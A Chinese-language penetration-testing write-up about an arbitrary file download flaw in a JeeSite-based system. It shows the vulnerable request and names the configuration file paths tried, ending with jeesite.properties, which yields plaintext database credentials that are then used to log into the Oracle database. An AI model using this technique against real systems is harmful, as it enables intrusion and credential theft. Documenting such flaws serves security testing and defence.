记一次任意文件下载漏洞思路(jeesite框架)

1、测试某个系统的文件下载的接口,看到下载接口的参数为url,参数值是文件的绝对路径,实测发现存在任意文件下载的漏洞。

 

post包如下:

GET /xxxx/oaNotify/downLoadFile?fileUrl=xxxxxx.pdf HTTP/1.1
Host:xxxx.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:80.0) Gecko/20100101 Firefox/80.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
Referer: xxxxx/oaNotify/view?id=88824f040fb644a6a4033142a88b3065
Cookie: tabmode=0; jeesite.session.id=a70fa6e7c750491abf32698e69637f39; _trs_uv=ketfnxem_2087_f093; pageNo=1; pageSize=30
Upgrade-Insecure-Requests: 1

 

2、fileUrl参数存在漏洞,该系统的环境是java+oracle+Windows,通过漏洞参数探测一下常规的配置文件WEB-INF/web.xml,发现可行。

截图如下所示:

记一次任意文件下载漏洞思路(jeesite框架)

 但是读取完发现,该配置文件没有啥可进一步利用的信息,首先想到的是能否读取到该系统的数据库的配置文件,从而获取该系统的密码。

一般常见的数据库配置文件的路径为:

WEB-INF/classes/jdbc.properties

WEB-INF/classes/config.properties

但是使用这两个路径无果,于是仔细看到我们的请求包,cookie字段带 jeesite.session.id字段。

百度jeesite。

记一次任意文件下载漏洞思路(jeesite框架)

发现jeesite是一个java的开源快速开发平台,于是查询jeesite的配置文件路径为/WEB-INF/classes/jeesite.properties,使用漏洞成功下载到文件,获取到数据库的明文账号密码,sms平台的账号密码,web应用的默认账号密码等。

记一次任意文件下载漏洞思路(jeesite框架)

3、使用获取到的数据库账号密码成功连接到系统的oracle数据库,完成渗透。